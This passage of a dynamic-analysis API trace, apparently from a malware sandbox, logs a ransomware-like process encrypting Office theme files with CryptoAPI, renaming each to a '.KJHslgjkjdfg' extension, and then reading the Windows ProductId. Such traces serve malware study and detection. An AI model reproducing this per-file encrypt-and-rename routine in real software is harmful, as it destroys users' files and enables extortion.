hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.237] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.237] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.237] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.237] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.237] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xaec9, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xaec9, lpOverlapped=0x0) returned 1 [0172.239] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xaed0, dwBufLen=0xaed0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xaed0) returned 1 [0172.239] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.239] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xaed0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xaed0, lpOverlapped=0x0) returned 1 [0172.240] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.240] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xaf94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.240] SetEndOfFile (hFile=0x114) returned 1 [0172.240] GetProcessHeap () returned 0x2ef0000 [0172.240] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0172.240] GetProcessHeap () returned 0x2ef0000 [0172.240] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.240] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.kjhslgjkjdfg")) returned 1 [0172.241] CloseHandle (hObject=0x114) returned 1 [0172.241] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0172.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.243] GetProcessHeap () returned 0x2ef0000 [0172.243] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.243] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.243] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.243] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xf, lpOverlapped=0x0) returned 1 [0172.245] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.246] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.246] GetProcessHeap () returned 0x2ef0000 [0172.246] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0172.246] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0172.246] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.246] WriteFile (in: hFile=0x114, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0172.246] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.246] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.246] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.246] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.247] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.247] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.247] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.247] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.247] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1d1, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1d1, lpOverlapped=0x0) returned 1 [0172.247] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1e0) returned 1 [0172.247] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.247] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x1e0, lpOverlapped=0x0) returned 1 [0172.247] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.247] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.247] SetEndOfFile (hFile=0x114) returned 1 [0172.250] GetProcessHeap () returned 0x2ef0000 [0172.250] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0172.251] GetProcessHeap () returned 0x2ef0000 [0172.251] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.251] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf.kjhslgjkjdfg")) returned 1 [0172.262] CloseHandle (hObject=0x114) returned 1 [0172.263] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.263] GetProcessHeap () returned 0x2ef0000 [0172.264] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.264] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.264] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.264] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xf, lpOverlapped=0x0) returned 1 [0172.266] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.266] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.266] GetProcessHeap () returned 0x2ef0000 [0172.267] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.267] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.267] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.267] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.267] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.267] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.267] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.267] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.267] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.267] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.268] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.268] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.268] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3b1, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x3b1, lpOverlapped=0x0) returned 1 [0172.268] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x3c0) returned 1 [0172.268] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.268] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x3c0, lpOverlapped=0x0) returned 1 [0172.268] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.268] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.268] SetEndOfFile (hFile=0x114) returned 1 [0172.271] GetProcessHeap () returned 0x2ef0000 [0172.271] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.271] GetProcessHeap () returned 0x2ef0000 [0172.271] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.271] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.281] CloseHandle (hObject=0x114) returned 1 [0172.281] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.281] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.281] GetProcessHeap () returned 0x2ef0000 [0172.282] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.282] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.282] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.282] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x1, lpOverlapped=0x0) returned 1 [0172.283] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.283] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.283] GetProcessHeap () returned 0x2ef0000 [0172.283] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.283] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.283] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.283] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.284] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.284] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.284] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.284] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.284] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.284] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.284] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.284] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.285] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7f5f, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x7f5f, lpOverlapped=0x0) returned 1 [0172.286] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x7f60, dwBufLen=0x7f60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x7f60) returned 1 [0172.286] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.286] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x7f60, lpOverlapped=0x0) returned 1 [0172.286] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.286] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.287] SetEndOfFile (hFile=0x114) returned 1 [0172.289] GetProcessHeap () returned 0x2ef0000 [0172.289] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.289] GetProcessHeap () returned 0x2ef0000 [0172.289] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.289] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.295] CloseHandle (hObject=0x114) returned 1 [0172.295] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.295] GetProcessHeap () returned 0x2ef0000 [0172.295] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.295] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.295] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0172.295] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.295] GetProcessHeap () returned 0x2ef0000 [0172.295] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0172.295] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.295] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0172.295] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.295] GetProcessHeap () returned 0x2ef0000 [0172.295] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0172.295] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.295] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dfee20 | out: pbData=0x2f47728, pdwDataLen=0x4dfee20) returned 1 [0172.295] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.295] GetProcessHeap () returned 0x2ef0000 [0172.296] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0172.296] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.296] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0172.296] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.296] GetProcessHeap () returned 0x2ef0000 [0172.296] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0172.296] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.296] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0172.296] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.296] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0172.296] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0172.296] RegCloseKey (hKey=0x114) returned 0x0 [0172.296] 